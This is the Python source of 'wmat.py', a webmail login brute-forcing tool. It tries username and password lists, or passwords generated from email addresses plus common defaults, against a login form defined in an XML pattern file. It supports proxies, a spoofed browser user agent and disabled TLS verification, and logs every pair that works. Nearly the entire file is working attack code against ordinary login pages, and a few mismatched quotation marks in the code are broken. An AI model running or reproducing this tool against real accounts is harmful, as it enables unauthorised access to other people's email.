#!/usr/bin/env python # Web mail auth tool # ivanm@security-net.biz # [License] # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # See 'LICENSE' for more information. # LIBS import sys, pycurl, xml.dom.minidom, urlparse, time from optparse import OptionParser, SUPPRESS_USAGE # DEF ERROR def error(): print "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "WEB MAIL AUTH TOOL (Ivan Markovic, http://security-net.biz/)” print "\nUsage:" print "-u usernames_file required (except in passsorter mode)" print "-p passwords_file required (except in passsorter mode)" print "-t timeout in seconds !required" print "-w output_file !required" print "--url Webmail URL required" print "--pattern pattern_xml required" print "--bell Bell on success !required" print "--proxy Proxy[IP:PORT] !required" print "--proxyup Proxy UP [username:password] !required" print "--passsorter File or Email address !required" print "-? This help!\n" print "Example:" print "python wmat.py -u usernames_example.txt -p passwords_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml\n" print "python wmat.py -u usernames_example.txt -p passwords_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml --bell -w output_file.txt\n" print "python wmat.py -u usernames_example.txt -p passwords_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml --proxy xxx.xxx.xxx.xxx:8080 --proxyup username:password\n" print "python wmat.py --passsorter usernames_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml --bell -t 5\n" sys.exit() # DEF READ FROM FILE def readFromFile(input): try: input_file = open(input, "r") return input_file.readlines() except: print "\nERROR: File ",input," is missing!\n" sys.exit() # DEF READ PATTERN ITEMS def readPattern(): global action_url, method, useragent, referer, username_field, password_field, add_fields, success # Username field username_field = getText(pattern.getElementsByTagName("username")[0].childNodes); # Password field password_field = getText(pattern.getElementsByTagName("password")[0].childNodes); # Action URL action_url = getText(pattern.getElementsByTagName("action_url")[0].childNodes); # Success data success = getText(pattern.getElementsByTagName("success")[0].childNodes); # HTTP method method = getText(pattern.getElementsByTagName("method")[0].childNodes); if method == "": method = "post" # User Agent useragent = str(getText(pattern.getElementsByTagName("useragent")[0].childNodes)); if useragent == "": useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" # Additional fields add_fields = getText(pattern.getElementsByTagName("additional_fields")[0].childNodes); add_fields = add_fields.replace("[amp]","&") # Referer referer = str(getText(pattern.getElementsByTagName("referer")[0].childNodes)); referer = referer.replace("[amp]","&") # READ PATTERN def getText(nodelist): rc = "" for node in nodelist: if node.nodeType == node.TEXT_NODE: rc = rc + node.data return rc class CB: def __init__(self): self.contents = '' def body_callback(self, buf): self.contents = self.contents + buf # DEF ATTACK def attack(ux,px): global action_url, method, finded_buf, proxy, proxyUP, useragent, referer, username_field, password_field, add_fields, https, urlx, success tempx = '' t = CB() myCurl = pycurl.Curl() # Proxy if proxy <> None: myCurl.setopt(pycurl.PROXY, proxy) if proxyUP <> None: myCurl.setopt(pycurl.PROXYUSERPWD, proxyUP) # Https if https == 1: myCurl.setopt(pycurl.SSLVERSION, 3) myCurl.setopt(pycurl.SSL_VERIFYPEER, 0) myCurl.setopt(pycurl.VERBOSE, 0) # Request login page myCurl.setopt(pycurl.USERAGENT, useragent) myCurl.setopt(pycurl.FOLLOWLOCATION, 1) myCurl.setopt(pycurl.REFERER, referer) myCurl.setopt(pycurl.COOKIEFILE, 'temp_cookie.txt') myCurl.setopt(pycurl.WRITEFUNCTION, t.body_callback) myCurl.setopt(pycurl.CONNECTTIMEOUT, 60) myCurl.setopt(pycurl.TIMEOUT, 600) # Create URL/DATA LOGIN_DATA = username_field + '=' + ux + '&' + password_field + '=' + px + add_fields LOGIN_DATA = LOGIN_DATA.replace("\n","") if method == 'post': # POST urlparse.urlparse(str(LOGIN_DATA)) myCurl.setopt(pycurl.URL, urlx) myCurl.setopt(pycurl.POSTFIELDS, str(LOGIN_DATA)) myCurl.setopt(pycurl.POST, 1) print "POST url/data: ", urlx, " | ",LOGIN_DATA,"\n" else: # GET LOGIN_URL = urlx + '?' + LOGIN_DATA urlparse.urlparse(str(LOGIN_URL)) myCurl.setopt(pycurl.URL, str(LOGIN_URL)) print "GET url/data: ", LOGIN_URL,"\n" # Perform myCurl.perform() # Clean up and close out myCurl.close() # Look at code where = t.contents.find(str(success)) if where <> -1: if options.bell: print "\a" print "Find combination :)\n\n" if method == 'post': finded_buf += "POST url/data: " + urlx + " | " + LOGIN_DATA + "\n" else: finded_buf += "GET url/data: " + LOGIN_URL + "\n" # DEF WRITE TO FILE def writeFile(filename, buffer): finded = open(filename,"w") finded.write(buffer) finded.close # DEF PasssorterGen # Default password generator (Idea: Dejan Levaja ) def PasssorterGen(x): global timeout commonPass = ("123", "1234", "12345", "123456", "1234567890", "abc", "a1b2c3", "abc123", "computer", "internet", "password", "P@ssw0rd", "P@ssword", "root", "admin", "administrator", "cisco", "qwerty", "secret", "test", "xxx", "www") try: emails = readFromFile(x) except: emails = [x] for email in emails: # Only username bezdomena = email.split("@")[0].lower() # Dot pazzwords = isThereADot(bezdomena) # Upper/Caps passUpperCaps = UpperAndCaps(pazzwords) # Numbers passNumeric = addNumbersToTheEnd(pazzwords) all=[] for x in (pazzwords): all.append(x) for x in (passUpperCaps): all.append(x) for x in (passNumeric): all.append(x) for x in (commonPass): all.append(x.replace("\n","")) # writeFile(email+".passorter",all) for pas in all: if timeout > 0: time.sleep(timeout) attack(email,pas) # DEF DOT def isThereADot(bezdomena): # Dot ? passwords=[] if "." in bezdomena: passwords.extend(bezdomena.split(".")) passwords.append(bezdomena) else: passwords.append(bezdomena) return passwords # DEF ADD NUMBERS def addNumbersToTheEnd(passwords): passNumeric=[] for lozinka in passwords: passNumeric.append(lozinka+"1") passNumeric.append(lozinka+"123") passNumeric.append(lozinka+"1234") passNumeric.append(lozinka+"12345") passNumeric.append(lozinka+"123456") return passNumeric # DEF UPPER AND CAPS def UpperAndCaps(passwords): passUpperAndCaps=[] for lozinka in passwords: passUpperAndCaps.append(lozinka.upper()) if "." in lozinka: prvideo = (lozinka.split(".")[0]).capitalize() drugideo = (lozinka.split(".")[1]).capitalize() passUpperAndCaps.append(prvideo + "." + drugideo) else: passUpperAndCaps.append(lozinka.capitalize()) return passUpperAndCaps # ----------------------------------------------------------------------------- # # M A I N ( ) print "\n" print "***********************************" print "***\tweb mail auth tool\t***" print "***\twmat.py v 0.1\t\t***" print "***\tcoded by Ivan Markovic\t***" print "***\thttp://security-net.biz\t***” print "***\tivanm@security-net.biz\t***” print "***\twmat.py -? for help\t***" print "***********************************" # Args parser = OptionParser(usage=SUPPRESS_USAGE) parser.add_option("-u", dest="usernames") parser.add_option("-p", dest="passwords") parser.add_option("-t", dest="timeout") parser.add_option("-w", dest="write") parser.add_option("--url", dest="url") parser.add_option("--proxy", dest="proxy") parser.add_option("--proxyup", dest="proxyup") parser.add_option("--pattern", dest="pattern") parser.add_option("--passsorter", dest="passsorter") parser.add_option("--bell", action="store_true", default=False) parser.add_option("-?", action="store_true", dest="err") (options, args) = parser.parse_args() if len(sys.argv) >= 3: # Uzimam listu korisnickih imena if options.usernames: usernames = readFromFile(options.usernames) else: usernames = None # Uzimam listu password-a if options.passwords: passwords = readFromFile(options.passwords) else: passwords = None # URL (host) if options.url: url = options.url else: url = None # Pattern if options.pattern: pattern = xml.dom.minidom.parse(options.pattern) else: pattern = None # Timeout (sec) if options.timeout: timeout = float(options.timeout) else: timeout = 0 # File to write finded items if options.write: fwrite = options.write else: fwrite = None # Proxy IP:PORT if options.proxy: proxy = str(options.proxy) else: proxy = None # Proxy Username:Password if options.proxyup: proxyUP = str(options.proxyup) else: proxyUP = None # Passorter if options.passsorter: passorter = options.passsorter else: passorter = None if options.err: error() else: error() # Check params if usernames == None or passwords == None or url == None or pattern == None: if passorter == None or pattern == None or url == None: print "There is some empty value!" error() # Variables username_field = "" password_field = "" action_url = "" success = "" method = "" useragent = "" add_fields = "" referer = "" finded_buf = "" # https if url.endswith('https', 0, 5): https = 1 else: https = 0 # Go # # -- # readPattern() # Full Url (http://someurl.tld/script.ext) urlx = str(url + action_url) if passorter <> None: PasssorterGen(passorter) else: for username in usernames: for password in passwords: if timeout > 0: time.sleep(timeout) attack(username,password) # Make list with finded items if options.write: writeFile(fwrite,finded_buf)